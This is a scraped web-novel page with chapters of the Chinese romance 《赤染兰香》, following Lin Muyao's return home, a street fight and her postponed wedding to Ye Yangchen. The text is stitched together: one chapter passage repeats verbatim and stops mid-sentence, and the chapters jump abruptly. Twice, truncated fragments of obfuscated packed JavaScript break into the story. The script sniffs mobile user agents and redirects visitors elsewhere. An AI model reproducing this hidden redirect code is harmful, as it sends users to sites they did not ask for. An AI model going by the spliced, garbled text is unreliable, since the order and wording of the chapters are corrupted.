回到自己住的小院,慕瑶有种恍如隔世的感觉,院子里的各种兰花依旧长得好开得艳,香气馥郁。慕瑶走到自己的房间门口,紧张得迟迟不敢推开房门。 良久,慕瑶才推门走进去,看着屋里的陈设没有丝毫改变,家具地面更是一尘不染,她便能猜到一直有人在打扫这个房间。那一刻,慕瑶深深感受到父母爱自己的那颗心,她试图想用一句话形容此刻心里的感受,“回家真好,对,就是这句话。我终于回来了。” 洛洛把浴桶拿进屋子,又挑来一桶桶热水。一切准备就绪后,洛洛笑道:“小姐,可以了,我来帮你沐浴。” 慕瑶淡淡说道:“洛洛,你出去吧,我自己洗就可以了,在外边这一年我也习惯自己做事了。” “小姐,那怎么行?我怎么能让你自己洗呢?还是让我来帮你吧?” “真的不用了。” 反复几次,见小姐坚持要自己洗,洛洛心里虽不是滋味,但也只有掩门出去。 待洛洛出去了,慕瑶这才宽解衣衫露出晶莹玉肤。她坐在浴桶里,体味着回家的感觉。慕瑶怎么都不肯让洛洛留在屋里伺候自己,就是怕洛洛看见自己身上的玲珑印。而且不止今日,今后她沐浴或是更衣时都不能让人看见了。 慕瑶在浴桶里摸着那红色印记,现在那个位置已经完全不痛了,只是那红色印记却没有一丝褪色。慕瑶每次看见这个印记,心里就止不住怨恨叶阳晨,她知道这印记会跟自己一辈子了。 吃晚饭的时候,全家人都很开心,而且多次喜极而泣。诗怡坐在姐姐身旁,不停地给姐姐讲着这一年来家里发生的事。林远峰更是喝醉了,被下人搀回了房间。 晚上,慕瑶本都已经要睡了,母亲沈芸敲门走进来。 慕瑶披上一件衣服, 20. 第二十章 《赤染兰香》全本免费阅读 本来说要住十天,但这一住就住了一个月。慕瑶虽然想早点回到家,但却不敢跟叶阳晨和古野说。 之前拜师时百般不情愿,等到离开时,慕瑶眼含热泪拜别师父。人都是有感情的,慕瑶能真实感觉到古野对自己这个徒弟的关爱。 古野心里也很难受和不舍,但他不形于色,“好啦,又不是以后见不到了,我会经常去看你们两个小鬼的。” 古野看向叶阳晨,“以后丫头除了是你媳妇,还是我徒弟,你要是再敢欺负她,看我不好好收拾你。” 听师父这么一说,慕瑶鼻子更是一酸,被宠在手心的感觉总是不错的。 叶阳晨打趣道:“以后瑶瑶不仅是我娘子,还是我的师妹,我怎么可能欺负她呢?” 离开星河苑的时候,慕瑶心里五味杂陈,现如今她与叶阳晨有了一个共同的师父后,也就意味着,两人之间那千丝万缕的联系,便更难割断了。 几日后,叶阳晨带着慕瑶回了西关道。看到城墙上“西关”两个大字,慕瑶的心终于落了地。这一年有太多的悲欢离合,再次回到西关道,慕瑶感慨万千。明明只离开了一年,却感觉从前生活在这里,已经是很久远的事了。 林慕瑶和叶阳晨骑马进了城,到了林府不远的地方,叶阳晨才翻身下马,然后把慕瑶从马上抱了下来。叶阳晨不舍道:“我就送你到这里了。” 慕瑶扭头便要走。 叶阳晨再次抓住她的手,“等等,我还有几句话要与你说,这一别,又要一年才能见你了。以后每年七夕前,我都来西关看你。” 慕瑶不说话,任由他拉着自己的手。 “回家后好好照顾自己,千万不要瘦了。”叶阳晨深情叮嘱道。 慕瑶还是不说话。 “你就别生我的气了。”叶阳晨从未如此温柔地说话。 慕瑶瞪着叶阳晨,“我不仅要一直生的气,还要恨你。” 叶阳晨从褡裢里拿出一个发簪盒,然后在慕瑶面前打开,里面是一支兰花状的羊脂白玉发簪。慕瑶瞥了一眼,见白玉光润无暇,心知此簪一定是上品。 叶阳晨温声道:“瑶儿,这个送给你,它是我找中安最好的工匠定制的。工匠跟我说,这个簪子叫“汐澜簪”。” “我不要,我不喜欢戴饰物,你也知道的。” “就这一件,你长大了再戴。” 慕瑶见推不掉,只好接过发簪盒,随之把盖子盖上,“我可以走了吗?” 叶阳晨心痛不舍地点点头。 见叶阳晨同意了,慕瑶当即转身,她头也不回地走了。 林慕瑶知道叶阳晨不舍得自己,但那一刻她却没有任何不舍。因为玲珑印的事,慕瑶发誓永远不会原谅叶阳晨的,至少她当时在心里是那么认为的。 叶阳晨望着慕瑶的背影,心里空落落的。 林慕瑶来到林府大门前,叩响门环,“爹…娘,我回来了。” 少时,管家林忠出来开门,看到林慕瑶的瞬间,他喜出望外,“啊…小姐,是你啊,你总算是回来了。” 此时,林远峰正在书房练字,忽地听见外边有家仆的喊叫声,大喊的是“小姐回来了”。林远峰还以为是自己听错了,他仔细听了听,果然喊的是女儿回家了。 林远峰和沈芸连忙往前院跑,林远峰见到女儿的一瞬间,早已老泪纵横。这一年来,他多次派兵去找寻女儿,都无功而返,他几乎对女儿平安归来已不抱希望。 沈芸紧紧搂住慕瑶,幸福的泪水怎么都止不住。抱了片刻,沈芸突然问道:“瑶儿,你怎么样?有没有受伤?有没有受罪?” 慕瑶摇了摇头,“娘,我很好,我一切都好。” 这时,慕瑶的妹妹林诗怡也跑了过来。诗怡抱住慕瑶,“姐,你终于回来了,你总算回来了,我好担心你,我好想你,我真怕再也见不到你了。” 慕瑶拍怕诗怡的背,暖声安慰着:“都过去了,没事了,我这不是回来了吗?” 所有家人都与慕瑶亲近了一会儿后,慕瑶的贴身丫鬟洛洛这才凑上来,她扑通跪倒在地,“小姐,洛洛早也盼,晚也盼,总算把你盼回来了。” 洛洛全名江雨洛,是慕瑶身边最亲近的丫鬟。慕瑶待她如妹妹一般,两人感情甚笃。 慕瑶把洛洛搀扶起来,“洛洛,再见到你真好!” 亲情陪伴,温暖围绕,慕瑶幸福到有种不真实的感觉,她现在都不相信自己离开泽清山回了家,她也不相信叶阳晨真的放了自己。 众人来到大厅坐下来,林远峰这才问起女儿这一年的遭遇。 尽管家人问东问西的,林慕瑶却不想说太多,只说是被一群土匪抢上山,不过土匪并没有为难自己,后遇好心人,把自己偷偷放了。 慕瑶没把所有实情告诉父母,因为说了那些也无济于事,还会平添父母的担心和烦恼。而且林慕瑶知道叶阳晨的本事,即使父母知道了自己在泽清山受的委屈,也无法给自己讨回公道。索性她现在平安回来了,就息事宁人算了。 听女儿说一切皆好,林远峰才放下心来,他看向丫鬟,“洛洛,伺候你家小姐沐浴更衣。” “是,老爷。” 林远峰又笑着叮嘱管家,“林忠,你快通知厨房,今晚做一桌子好菜,再把地窖里的好酒取出一坛子。大小姐回来了,今晚我们一家人要好好庆祝一下。” 慕瑶还没有与家人亲近够,就回了后院。沐浴更衣并不急,她要先去看看她的祖母。这一年,慕瑶思念亲人,有一半时间里是思念祖母的。孤独无助时,她总是会想起祖母轻抚着自己的头,然后一脸慈爱冲着自己笑的样子。 慕瑶快步走到祖母住的院子,也顾不上敲门就推门而入。 此时,丫鬟正在伺候老太太喝茶。老太太已经瘫痪在床上多年了,刚刚听到外面有嘈杂的声音,她心里还在担心外面发生了什么事。现在见闯进来的是慕瑶,是自己最最疼爱的孙女,茶杯忽地掉在地上,老太太两眼瞬间凝住,只有褐色的瞳仁在微微闪动。她的两只手不自觉地伸出去,做了一个想抱抱的姿势。 慕瑶跑上前,扑到祖母的怀里,感情像潮水一般在尽情释放,她呜咽地哭了起来。老人家摸着慕瑶的头,也是激动万分,老泪纵横。 祖孙两人哭了许久,慕瑶才渐渐敛住了抽泣声。 老太太表情依然难过,激动道:“我的瑶儿终于回来了,祖母还以为再也见不到你了呢。” “祖母,我很好,我这不是回来了吗?”慕瑶试图安慰着祖母,老人家年岁大了,不能太激动,那样对心脏不好。 老人家把慕瑶扶起来,让孙女坐在自己身旁,细细问着孙女这一年的遭遇。慕瑶把刚刚跟父母说过的那套说辞又给祖母说了一遍,她不能让祖母太过心疼和担心自己。 慕瑶不停地询问着祖母的身体,她觉得自己走的这一年祖母好像又苍老了许多。慕瑶轻抚着祖母的脸,看着那霜白的两鬓,心疼道:“祖母,你的头发又白了许多。” 屋子里祖母的大丫鬟也有些动容,擦着眼角说道:“大小姐,你不在家的这一年,老太太整日以泪洗面,夜不能寐。” 慕瑶心如刀绞,觉得都是自己把祖母害成这样的。她陷入深深自责的同时,又增加了对叶阳晨的恨意。慕瑶认为,如果不是被叶阳晨抢上山寨,如果不是叶阳晨迟迟不肯放自己回家,祖母也不会担忧成疾。 老太太慈爱笑着,“瑶儿,你别听丫鬟乱说,祖母吃的好,睡的香,就是为了等你回家。” 刚刚停住哭泣不久,慕瑶的眼圈又红了,“祖母,以后我再也不离开你的身边。” “好好好,瑶儿,你刚回来,还是去洗漱一番,一会儿就要用晚饭了。” 慕瑶不舍地站起来,“祖母,那我一会儿再来看您。” 回到自己住的小院,慕瑶有种恍如隔世的感觉,院子里的各种兰花依旧长得好开得艳,香气馥郁。慕瑶走到自己的房间门口,紧张得迟迟不敢推开房门。 良久,慕瑶才推门走进去,看着屋里的陈设没有丝毫改变,家具地面更是一尘不染,她便能猜到一直有人在打扫这个房间。那一刻,慕瑶深深感受到父母爱自己的那颗心,她试图想用一句话形容此刻心里的感受,“回家真好,对,就是这句话。我终于回来了。” 洛洛把浴桶拿进屋子,又挑来一桶桶热水。一切准备就绪后,洛洛笑道:“小姐,可以了,我来帮你沐浴。” 慕瑶淡淡说道:“洛洛,你出去吧,我自己洗就可以了,在外边这一年我也习惯自己做事了。” “小姐,那怎么行?我怎么能让你自己洗呢?还是让我来帮你吧?” “真的不用了。” 反复几次,见小姐坚持要自己洗,洛洛心里虽不是滋味,但也只有掩门出去。 待洛洛出去了,慕瑶这才宽解衣衫露出晶莹玉肤。她坐在浴桶里,体味着回家的感觉。慕瑶怎么都不肯让洛洛留在屋里伺候自己,就是怕洛洛看见自己身上的玲珑印。而且不止今日,今后她沐浴或是更衣时都不能让人看见了。 慕瑶在浴桶里摸着那红色印记,现在那个位置已经完全不痛了,只是那红色印记却没有一丝褪色。慕瑶每次看见这个印记,心里就止不住怨恨叶阳晨,她知道这印记会跟自己一辈子了。 吃晚饭的时候,全家人都很开心,而且多次喜极而泣。诗怡坐在姐姐身旁,不停地给姐姐讲着这一年来家里发生的事。林远峰更是喝醉了,被下人搀回了房间。 晚上,慕瑶本都已经要睡了,母亲沈芸敲门走进来。 慕瑶披上一件衣服, 21. 第二十一章 《赤染兰香》全本免费阅读 回到家后的林慕遥,性格改变了许多。这种改变,无论是她的父母,还是身边的人都能感觉到。尽管慕瑶依旧温柔贞静,但性格已比从前活波了些。 慕瑶比身边的人后知后觉了些,后来她才渐渐发现,在泽清山待了一年,在叶阳晨教会她武功骑射后,在受到古野的的言传身教后,她已经再也回不到往昔的平淡生活。叶阳晨就好似给她打开了一个新的世界,而这个世界精彩纷呈。 林远峰有点不太习惯大女儿的变化,沈芸觉得怎么都好,而妹妹诗怡却很开心。诗怡觉得从前的姐姐太“闷”了些,整日待在房间里,大门不出二门不迈的,而现在姐姐还会偶尔陪自己去街上走走,自己总算有了个伴。 那日早上,诗怡又跑到姐姐房间,“姐,陪我去街上买支发簪吧?” “你不是有那么多的发簪吗?而且刚刚陪你去过,怎么还要买啊?” 诗怡嘟嘟着嘴,“那些我都不喜欢了嘛。” “我看你是想借买发簪之名出去逛一逛。” “才不是呢。”诗怡抿着嘴角说道。 慕瑶笑着瞪了妹妹一眼,仍不放下手中的画笔。 诗怡见姐姐不怎么理自己,直接抢了她的笔。 慕瑶娇嗔:“你这死丫头要做什么?” “快陪我去,不准你再画了。” “好好好,陪你陪你,我画完这株兰花我们就出发,这总可以了吧?快把笔还给我。” 诗怡展露笑颜,把笔给回了姐姐。她百无聊赖,在房间里走来走去的。诗怡来到姐姐的梳妆台前坐下,“姐,你平日里又不化妆,爹爹还给你的屋里摆这么大一个黄花梨木梳妆台,真是浪费。要我说,爹爹还是对你太偏心。” 慕瑶没有理诗怡,她其实也没有听诗怡说了什么,她正在全神贯注的画她的画。实际上,慕瑶画兰花的功力早已笔精墨妙,天下少有人能及。只是她仍日夜工笔细描,力求精进。慕瑶希望自己的画的兰花能呈现一种润透、雅逸之感,可再看看自己画的画,总觉得还是欠缺了点,如在虚实变化上,在着色深浅上,在线条的粗细上还做不到挥洒自如。 诗怡随意拉开梳妆台的抽屉,目光很快投在里面的狼牙吊坠上。她拿起来,自言自语问道:“这是什么啊?这么独特有个性的!” 慕瑶本是无意一回头,却看到诗怡拿着的正是叶阳晨送给自己的“血影”。慕瑶连忙放下笔走过去,把吊坠抢在自己手中。 诗怡从来没有见过姐姐如此紧张一样东西,从小到大,只要自己喜欢的,姐姐都是让着自己的。如果自己看上了什么姐姐有的东西,姐姐也都会割爱送给自己。 诗怡噘着嘴,“姐,那是什么嘛?我看看都不行吗?” “这东西没什么好看的?”慕瑶并非不想让诗怡看,只是她怕诗怡问自己关于吊坠的事,于是刚刚紧张过了度。 当初叶阳晨送慕瑶血影时就说让她时时刻刻戴在身上,慕瑶起初不愿意,后面也就接受了。慕瑶天生不喜欢戴饰物在身上,这是自小的习惯,可这个血影戴得日子长了,也便有了感情。本来慕瑶沐浴的时候都不舍得把这东西摘下来的,只是她的肤体香温玉软,近日脖颈处起了点红疹子,她涂抹药膏时不方便,就把火影暂时摘了下来,没想到恰巧被诗怡发现了这东西。 诗怡笑得玩味,“姐,这是不是对你很重要的东西啊?” “没有的事。”当着诗怡的面,慕瑶把血影放在任何地方都不合适,于是她就匆忙地把东西塞进腰间的丝带里,想着晚上的时候再找个隐蔽点的地方放起来。 慕瑶怕诗怡再细问关于吊坠的事,于是连忙插话题道:“好啦,姐姐也画完了,我们出门去吧。” 听到能出去玩了,诗怡也就没再理会那个狼牙吊坠的事了。 姐妹俩相携出门,诗怡常去的那家头饰店离林府算不上远,两姐妹就没有让护院跟着同去,也没有坐马车。她们想着,这样明媚的天,散散步正好。 路上,诗怡便随意建议道:“姐,要不一会儿你也买只簪子戴吧?” 慕瑶温声道:“你知道我不喜欢这些的,你自己买就好。” 慕瑶从来不喜欢那些饰物,平日里她只用一根白色或粉色的丝带把头发扎起。不仅如此,慕瑶平日还不施粉黛,衣裙也几乎都是纯白色。不过以慕瑶天生丽质,即使没有这些外在的东西加持,也同样美得出尘。 不过诗怡也是随便那么一说,她也知道姐姐不喜欢那些饰物,也就不多劝了。 两人来到头饰店,诗怡兴高采烈地挑选着,慕瑶就站在旁边陪着看着。 她们刚挑选完发簪,正要往家里走,面前突然蹿出两个人来。看那猥琐的笑容,慕瑶和诗怡便知道是遇到流氓了。诗怡心里很慌,反倒是慕瑶一脸的淡定。现在碰到一般的流氓,慕瑶已经没有一丝惧怕了,当初从泽清山出来前,她一个人打了五个流氓都易如反掌,更不要说这会儿只有两个人。 其中一个流氓呲着黄牙笑着,“两个小女子,刚刚挑了什么首饰啊?只要你们让大爷抱一下,首饰要多少就有多少。” 诗怡怒气平生,“你个狗嘴吐不出象牙的东西,给我滚开。” 另一个流氓显然没把诗怡的话当回事,他伸手去抓诗怡的胳膊。 诗怡见状一声尖叫,“你走开。”说着她后退一步,躲开了这个流氓。 黄牙流氓也试着去抓慕瑶的手,慕瑶身轻飘逸,一个闪身,便让流氓的手落了空。慕瑶语气如常,“如果你们再不肯离开,我就对你不客气了。” 黄牙猥琐咧嘴笑着,眼神中还带着戏谑,“小姑娘,你要怎么不客气啊?我倒想见识一番。” 两个流氓全不以为然,在他们眼中,诗怡和慕瑶就是囊中之物,又怎么会轻易收手呢? 慕瑶本不想动手,可她见两个流氓得意忘形、步步紧逼,自知如果不动手是摆脱不掉这两个色狼的纠缠的。慕瑶蹬地凌空跳起就是一脚,黄牙流氓被踹倒在地。随之慕瑶又一个回旋踢,另一个也被踢飞了。 两个流氓相继爬起来,向着慕瑶冲了过来。慕瑶左躲右闪后仰,接连避开两个恶人的拳头。随后,慕瑶反手回了两拳,两个流氓皆向后踉踉跄跄后退了三步,还是跌坐在地上。 两个色狼发现慕瑶并不好惹,于是相视一眼,心中暗生默契,他们连忙爬起来就要跑。 慕瑶娇声高了几分,“站住!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867344|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是教训一下还是要的。 卫泽楠被叶阳晨的气场吓到了,他从来没见过这么凶悍的人。但卫泽楠也不想这么快就服软,于是强撑道:“别…吓唬…人了。” 叶阳晨冷笑,“吓唬你?我扯过猛虎须,拔过野狼牙,你觉得你的骨头有它们硬吗?”说完,叶阳晨的眼睛紧紧地盯着卫泽楠,没有半分移开。 卫泽楠立刻破防,支支吾吾道:“我姓…康,叫康…泽楠,是临昌誉国公康诚之子。”虽然卫泽楠说话的声音在颤抖,但他故意强调自己是康诚之子,是想在叶阳晨面前显示自己身份的尊贵,并希望叶阳晨会因此放过自己。 当初卫家遭难,忠仆陈伯将卫泽楠送到康诚那里。康诚为了保护卫泽楠,便隐瞒卫泽楠的身份,还给他改了姓,让卫泽楠跟着自己姓康。 彼时,叶阳晨入仕未久,对官场上的人和事都不太熟悉,康诚这个名字他没有听过。叶阳晨听罢,只是在嘴里不停地低声重复着“康诚”的名字,他想要记住这个名字,然后等回到临昌州后再去会会这个康诚。 叶阳晨再次看向卫泽楠,语气冷寒,“你假扮我,就是贪恋我媳妇的美色,对吧?” 卫泽楠无言辩驳,他既无法粉饰自己的行为,又不敢公然承认而激化矛盾。 叶阳晨的眼里又锋利了几分,“你还真是个胆大而又愚蠢的人渣啊!世上人渣很多,但是胆大而又愚蠢的却不多。你做龌龊事都不用动动脑子吗?” 卫泽楠愣住,他没反应过来叶阳晨的话是什么意思。 叶阳晨眼中闪过一丝杀气,“卫泽楠,今天我郑重警告你,以后离林慕瑶远一点,否则别怪我让你再也看不见太阳升起。” 话音一落,卫泽楠吓得浑身直哆嗦,他看叶阳晨横眉怒目的样子,就知道叶阳晨不是在单纯地吓唬自己。卫泽楠第一次见叶阳晨,就知道叶阳晨是个狠人,但也是这次的见面,卫泽楠在心中埋下了仇恨叶阳晨的种子。 叶阳晨也懒得再跟面前的这个人废话,转身便走。本来以叶阳晨的性格,即使不把卫泽楠弄个残废,也至少会对这个色欲熏心的卫泽楠小惩大诫。叶阳晨本就不是个残暴之人,这些年在慕瑶和仁渊的影响下,他已经不轻易动手了,但对大奸大恶之人,或是欺负慕瑶的人,他可以破个例。 叶阳晨几次攥紧拳头,可想起昨晚他已经答应慕瑶了,而且他也顾虑到还有一个月自己就要和慕瑶完婚了,便只能暂时忍下了这口恶气。毕竟,叶阳晨盼与慕瑶成婚盼了那么久,在这个时候他不想再节外生枝,也不允许这个婚礼出任何意外和差错。 叶阳晨走到门口刚要离开,却突然停住脚步,对着守卫道:“屋里这个人每日只在房里待着,不消耗一点体力,没必要吃太多。从明天起,只给他一顿餐食即可。还有他不喜欢吃肉,都换成素菜吧,他喜欢饮食清淡,做菜也不用放盐,否则都是一种浪费。”要说起整人,叶阳晨是无师自通,他就乐得一个怎么痛快怎么搞。 门口的守卫极会看人脸色,心知此人是状元亦是林家女婿,自然对叶阳晨的话惟命是从,脆声应是。 卫泽楠在屋里听见叶阳晨说的话,鼻子都快被气歪了。他不敢相信,连林远峰都不会这样虐待自己,这个叶阳晨竟然肆意而为。 81. 第八十一章 林府里再次呈现出张灯结彩的情景,那些被摘下的灯笼、红绸和喜字又重新被装饰上了。之前“那个状元郎是假的”这事,只限于林府里少数人知道,所以林府里无论是丫鬟还是小厮,都对这种喜字贴了摘,摘了又贴的怪事感到诧异。好像感觉不到最后一天,这个婚能不能结都还是未知数。 慕瑶每日都沉浸在幸福和喜悦中,大喜的日子一天天临近,这种感觉就越强烈。她还偷偷去看了自己和叶阳晨的婚房,走进去后,屋子布置得华而不奢,雅而不俗,自有别样韵致。 叶阳晨还是同往常一样,一得空就偷偷蹿进慕瑶的房间里去。两人谈心交心话衷肠,期间当然也少不了温存意浓。 转眼,距离成婚的日子就只有三日了,这天诗怡待在林慕瑶的房间里,陪着姐姐再次试穿嫁衣。头戴凤冠身披霞帔的慕瑶把诗怡惊艳到了,“姐,你知道吗?我从小便日日见你,应该是对你的美貌有了免疫力的,可我还是生平第一次见你穿嫁衣,还是觉得我姐好美啊。这大红色的婚服,衬上你那凝脂如玉的容颜,真是美得明艳典雅,芳容华贵啊!”说着把铜镜递到姐姐面前。 慕瑶嘴角微勾,“又在打趣你姐了。” 诗怡甜美一笑,“我哪有打趣?姐,我说的是真的,成婚那天,姐夫要是见到你这副打扮,肯定会被迷晕的。” 慕瑶抿嘴浅笑,“你这丫头,又夸张了。”她心里想着:“那个家伙早就看过自己穿婚服的样子了,才不会那么大惊小怪的。”不过慕瑶转念一想,那个时候自己还是个小姑娘,他也只是个小男孩,估计叶阳晨早就忘记自己穿嫁衣的样子了。而且慕瑶细想,就算叶阳晨记得当时的情景,毕竟小女孩时穿嫁衣,与长大后穿着礼服终有不同吧。 诗怡转而问道:“姐,你现在是什么心情啊?” 慕瑶想了想,好像怎么也无法用言语准确表述出自己的心情。她思忖片刻道:“说不清楚,但就是很紧张,从未有过的紧张。”慕瑶也在纳罕,自己这都是“第二次”做新娘了,怎么还这么沉不住气的。 “有什么好紧张的呢?”诗怡娇俏一笑,“姐,你这是幸福的紧张吧。” 慕瑶含笑,“你又笑我,等你成婚时,你就知道这种感觉了。” 诗怡心虚地晃动着眼睛,然后喃喃道:“我才不要嫁人。” 虽然声音很小,慕瑶还是听到了,她也笑着逗妹妹,“以前你还可以这样说,现在就不行了,由不得你了。况且你不嫁,估计清扬也不会同意吧?” 诗怡少有的娇羞状,“你不要提那个笨蛋了,他脑子里只有他哥哥,其他什么都不懂。” “清扬是个直肠子,但也是真性情。我看得出来,他对你是真心的。” “姐,看你现在这么幸福,真替你高兴。” 慕瑶思绪万千,“诗诗,你知道的,这些年我与叶阳晨也是历经波折,放在当初,我怎么也想不到自己会嫁给一个劫掠我的人。” 诗怡会心一笑,“但现在都苦尽甘来了啊。姐,你守得云开见月明。” 林慕瑶在心中感慨:“诗怡只看到了自己和叶阳晨这幸福的时刻,却不知她与叶阳晨都为这份感情付出的太多太多,尤其是叶阳晨,他付出得更多。” 往事一幕幕,林慕瑶从最初对叶阳晨的恐惧、怨恨到后来只是讨厌,又从无感生出好感,最后再到非常喜欢,这一路携手走来,又岂是三言两语能说尽的。只不过她回头再去看这些时,却觉得这一切都值得。 小时候,慕瑶原以为自己到了年龄后,就会嫁给家里为她找的一个素未谋面的男人,之后也就相夫教子平淡过一生了。可怎么都没想到,自己的情缘会如此曲折离奇,但也足够刻骨铭心。 林慕瑶正这么想着,诗怡继续玩笑道:“姐,不过说真的,你和姐夫的感情经历比话本里的故事情节还精彩呢。山匪强娶书宦之家的小姐为妻,我越想越觉得传奇。诶,说不准将来真就会被写进话本的,然后口口相传呢。” 慕瑶白了诗怡一眼,“我不要和你说了,你这丫头可是越说越没正经了……” 话还没说完,门“咣当”一声被撞开。进来的是洛洛,她人看上去慌慌张张的,还上气不接下气,明眼人一看就知她是跑过来的。洛洛喘着粗气,“小姐…不好了……” 慕瑶黛眉微蹙,“你别着急,你慢慢说。” “我刚刚路过花园,无意间听见姑爷叶阳晨与老爷说……” 诗怡急切道:“说什么啊?你倒是快点说啊?” “诗怡,别催她。”慕瑶强作镇定,看向洛洛,“洛洛,到底怎么了?” 洛洛突然冒出一句,“他们说这个婚仪暂时不能办了。” 洛洛的话刚一说完,慕瑶的脸色惊变,她的心随之揪了起来。慕瑶试探问道:“发生了什么大事?”她心里知道,若不是发生了大事,叶阳晨不会突然“变心”的,可心里难免会胡思乱想。 “我没听得特别清楚,只听到他们说什么…蒙古军…南下了,楚州不保…什么的。” 原来,今日一早林远峰就收到了朝廷的旨意,命他立刻征兵筹粮作为后备力量。瓦哈国南下,一旦战事拉长,势必需要补充兵员和粮食,而作为丰国大后方的西关道,就是为前线征兵筹粮的绝佳之地。同样收到圣旨的还有叶阳晨,皇上让他立刻赶回楚州御敌。叶阳晨自是知道战事紧急,即使心里有千般不舍,也只能将婚事先暂时放一放了。于是,林远峰和叶阳晨不约而同地去找对方商量,好巧在花园处碰到了。 听洛洛那么说,慕瑶的心一下凉了半截,她知道自己的婚事又要推迟延后了。慕瑶很失落,还有一丝难过,她不禁在心里想:“事有不巧、造物弄人,如果圣旨再晚到几天,自己也就是叶阳晨名正言顺的妻子了。为何幸福已经离自己那样近了,上天还是给自己和叶阳晨开了这个玩笑。”她怕的是婚期这么一延,就不知何年何月才能再成婚了。 此刻,林慕瑶的心全都乱了。婚礼延期固然让慕瑶遗憾,但一想到叶阳晨将要上战场,她更心生惦念和不安。古野师父曾送过她一张丰国的舆图,她熟悉丰国的八方四隅。慕瑶当然知道,目前阻挡蒙古王那海铁蹄的第一道防线就是楚州,它也是临昌的屏障,如果楚州失陷,陪都临昌也就跟着危险了。战事现逼近楚州,叶阳晨身为楚州长史是肯定要回去的。慕瑶很怕丈夫上了战场会遇到危险。 林慕瑶正在那里出神,一旁的诗怡突然跑了出去,诗怡想到如果叶阳晨要上战场,叶清扬那个家伙肯定会陪着哥哥去的。 诗怡跑到叶清扬住的房间,甚至都未敲门便直接闯了进去,这个时候她也顾虑不了男女有别了。诗怡见清扬正在收拾包袱,她的眼圈立刻就红了。 清扬转过身,“怎么这么急匆匆地就来了?” 诗怡走到清扬面前,仰头温声道:“你是要走吗?” 清扬少有的心虚,“哦,我跟哥哥出趟远门,几个月就回来。” “你不用瞒着我了,我都知道了。” “诗怡,我…没办法,我不能让哥哥一个人上战场,我怕哥哥有危险。” 诗怡眼睛里闪着泪花,表情执拗,“那我要跟你一起去。” 清扬语气温和,“你觉得伯父会同意你跟我一起走吗?那是战场,不是去游山玩水的。” 诗怡微微噘起嘴,“我们要是还待在泽清山就好了,我就可以陪你去任何地方,我们真不应该这时候回来。” 清扬不会甜言蜜语,只是紧紧搂住了诗怡,“你就在家等我回来,很快的。” 诗怡平日里能说会道的,那天她却什么都说不出来。无论叶清扬说什么,诗怡就只是点头,因为她怕自己一开口就哭出来。诗怡酝酿了许久,等情绪稳定些了,才勉强按下难过与不舍,说着:“那你照顾好自己,上了战场不许让自己有危险。” “放心吧,那些虾兵蟹将伤不了我的。” “不准吹牛,你听我的话,一定要谨慎点。” 良久,两人分开,清扬东西收拾停当后,不舍道:“那我就走了。” “我送你。” “还是不要送了,那个场面弄得你怪伤心的。”说完清扬头也不回地走出了屋子。 诗怡嘴里嘟囔着:“说走就走,怎么就那么潇洒啊?” 与此同时,叶阳晨也去了慕瑶的房间,他准备同慕瑶告别后就动身了。 叶阳晨和林远峰商量后,两人都觉得事不宜迟,早一个时辰启程,可能就能扭转战局。楚州要是真的陷落了,先不说临昌,首先楚州城里的百姓就危险了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876518|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶阳晨特意换上了铠衣战甲,这套铠甲还是他在泽清山时,母亲唐露听说儿子要去楚州那个危险的地方做官后,连夜为他赶制的,没想到这么快就派上了用场。 叶阳晨走进屋子时,见慕瑶穿着大红喜服,整个人瞬时就愣住了。他一遍又一遍地在心里对自己说,这个艳色绝世的女人就快完全是他的新娘了,他却不得不暂时与她分别。 慕瑶好像不知道叶阳晨要走似的,笑着柔声道:“怎么样?我穿这一身好看吗?” “好看,上一次看你穿成这样还是八年前,那时你还是小女孩,撑不起衣服。现在你穿成这样更好看了,我从来没有见过这么美丽的新娘。”说这话时,叶阳晨的眼睛里渐渐蒙上了一层薄雾。 慕瑶看出了叶阳晨的情绪,只是她不想把离别的氛围弄得过于伤感,于是调侃道:“今天你的嘴倒是挺甜的。我本是想试试就脱下来的,突然知道你要走的消息,我就索性等着你来看看。” 见慕瑶风姿嫣然,又如此温婉动人,叶阳晨忍不住冲上前去,把慕瑶紧紧抱在怀里。慕瑶觉得自己的骨头都快被叶阳晨抱断了,但痛并幸福着,她能真切感觉到那是叶阳晨对自己的不舍,随之,泪水忍不住从眼角滑落。 叶阳晨情难自抑,吻上了慕瑶檀口樱唇。快要离别了,慕瑶放下了所有的矜持和害羞,没有任何推拒,任由叶阳晨吻着。想到这一分别又不知何年能再见,慕瑶甚至第一次生涩而用心地回应着叶阳晨,唇齿生香间缱绻情浓。 良久,两人分开,慕瑶的眼睫毛上依然挂着泪水,她打量着叶阳晨,忽地莞尔一笑,“你今天穿得挺帅气的,比从前那件虎皮马甲好看多了。” 叶阳晨调笑着:“你真是难得夸我一次。” “有吗?”慕瑶笑得娇美。 “当然有。” 慕瑶俏皮说着:“那你就当自己快走了,我给你一点点善意的鼓励吧。” 两人凝视着对方,好似要把彼此刻在心里。 慕瑶难得撒娇,“好可惜,就差三天了…你的运气太差了……” 见慕瑶这般柔情缱绻,叶阳晨心有千般不舍,他突然说道:“要不我不去楚州了?我们私奔吧?我带你去个山清水秀的无人之境,那里只有我和你,我们做一对神仙眷侣。” 慕瑶语笑嫣然,“我的心上人是盖世英雄,又怎么会置国家危难于不顾呢?好了,你别胡闹了,我在家等你回来。”说完,慕瑶轻轻解开喜服领口的扣子,雪肤亮眼,露出了锁骨下方的艳红得玲珑印。 